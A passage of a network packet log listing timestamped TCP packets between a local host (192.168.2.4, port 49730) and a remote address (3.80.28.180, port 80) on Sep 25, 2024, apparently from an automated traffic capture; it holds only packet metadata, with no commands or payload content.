Sep 25, 2024 03:51:29.065660954 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.065676928 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.065691948 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.065706968 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.065722942 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.065740108 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.065809011 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.065810919 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.065825939 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.065872908 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.065968037 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.065984964 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.066000938 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.066019058 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.066034079 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.066042900 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.066042900 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.066052914 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.066067934 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.066083908 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.066083908 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.066102982 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.066119909 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.066123009 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.066135883 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.066157103 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.066158056 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.066190004 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.066407919 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.066423893 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.066440105 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.066462994 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.066479921 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.066483021 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.066483021 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.066513062 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.066529036 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.066541910 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.066546917 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.066564083 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.066579103 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.066593885 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.066607952 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.066607952 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.066612959 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.066628933 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.066643953 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.066654921 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.066663027 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.066776991 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.066776991 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.066982031 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.066998005 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.067013025 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.067030907 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.067048073 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.067064047 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.067079067 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.067079067 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.067137003 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.102219105 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.102257967 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.102281094 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.102298021 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.102325916 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.102339983 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.102358103 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.102375984 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.102387905 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.102438927 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.151283026 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.151305914 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.151324034 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.151376963 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.151403904 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.151403904 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.151417971 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.151434898 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.151453018 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.151472092 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.151537895 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.151539087 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.151563883 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.151580095 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.151593924 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.151611090 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.151613951 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.151674986 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.151707888 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.151757956 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.151812077 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.151829004 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.151844978 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.151860952 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.151878119 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.151889086 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.151894093 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.151912928 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.151912928 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.151930094 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.151946068 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.151973963 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.151973963 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.152283907 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.152299881 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.152314901 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.152334929 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.152353048 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.152367115 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.152367115 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.152370930 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.152427912 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.152456045 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.152528048 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.152543068 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.152559996 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.152575970 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.152591944 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.152609110 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.152611017 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.152635098 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.152746916 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.152801991 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.155324936 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.155580997 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.155596972 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.155622005 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.155637980 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.155667067 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.155667067 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.155688047 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.155704021 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.155721903 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.155738115 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.155757904 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.155766964 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.155767918 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.155785084 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.155807018 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.155813932 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.155832052 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.155848026 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.155864954 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.155889034 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.155889034 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.156068087 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.156085014 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.156101942 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.156119108 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.156119108 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.156138897 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.156155109 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.156198025 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.156213045 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.156229019 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.156244040 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.156277895 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.156291008 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.156308889 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.156325102 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.156341076 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.156342983 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.156358957 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.156397104 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.156405926 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.156658888 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.156676054 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.156692028 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.156707048 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.156723022 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.156754017 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.156754017 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.156806946 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.156821966 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.156848907 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.156866074 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.156874895 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.156884909 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.156900883 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.156918049 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.156924963 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.156924963 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.156936884 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.156955004 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.156971931 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.157021999 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.157195091 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.157212019 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.157228947 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.157244921 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.157260895 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.157279968 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.157289028 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.157303095 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.157321930 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.157340050 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.157355070 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.157368898 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.157402039 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.157450914 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.157466888 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.157493114 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.157510042 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.157516003 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.157526970 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.157531977 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.157545090 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.157562971 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.157594919 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.157634974 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.157825947 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.157843113 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.157859087 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.157876968 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.157886028 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.157893896 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.157911062 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.157927036 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.157941103 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.157943964 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.157958984 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.157974958 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.157980919 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.157980919 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.157993078 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.158010960 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.158025980 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.158029079 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.158041954 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.158061981 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.158080101 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.158109903 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.159456015 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.159594059 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.193411112 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.193443060 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.193461895 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.193481922 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.193510056 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.193516016 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.193516016 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.193525076 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.193543911 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.193563938 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.193588972 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.193588972 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.233604908 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.242289066 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.242320061 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.242338896 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.242400885 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.242417097 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.242434025 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.242434978 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.242459059 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.242497921 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.242497921 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.242872000 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.242897034 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.242914915 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.242930889 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.242930889 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.242949009 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.242964983 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.242964983 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.242980957 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.242996931 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.243014097 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.243016958 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.243036032 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.243045092 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.243052006 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.243067980 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.243086100 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.243096113 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.243096113 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.243115902 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.243134022 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.243138075 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.243226051 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.243330956 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.243345976 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.243361950 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.243405104 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.243412971 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.243432045 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.243448019 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.243463039 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.243479967 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.243499994 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.243499994 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.243536949 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.243537903 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.243645906 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.243663073 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.243679047 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.243695974 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.243712902 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.243726015 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.243726015 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.243731976 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.243756056 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.246550083 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.246577978 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.246593952 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.246629953 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.246684074 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.246691942 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.246709108 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.246726036 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.246742010 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.246782064 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.246833086 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.246867895 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.246882915 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.246900082 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.246916056 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.246932030 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.246932983 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.246954918 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.246997118 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.246997118 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.247041941 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.247057915 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.247085094 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.247100115 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.247116089 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.247122049 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.247131109 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.247149944 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.247174978 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.247174978 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.247313023 CEST	80	49730	3.80.28.180	192.168.2.4
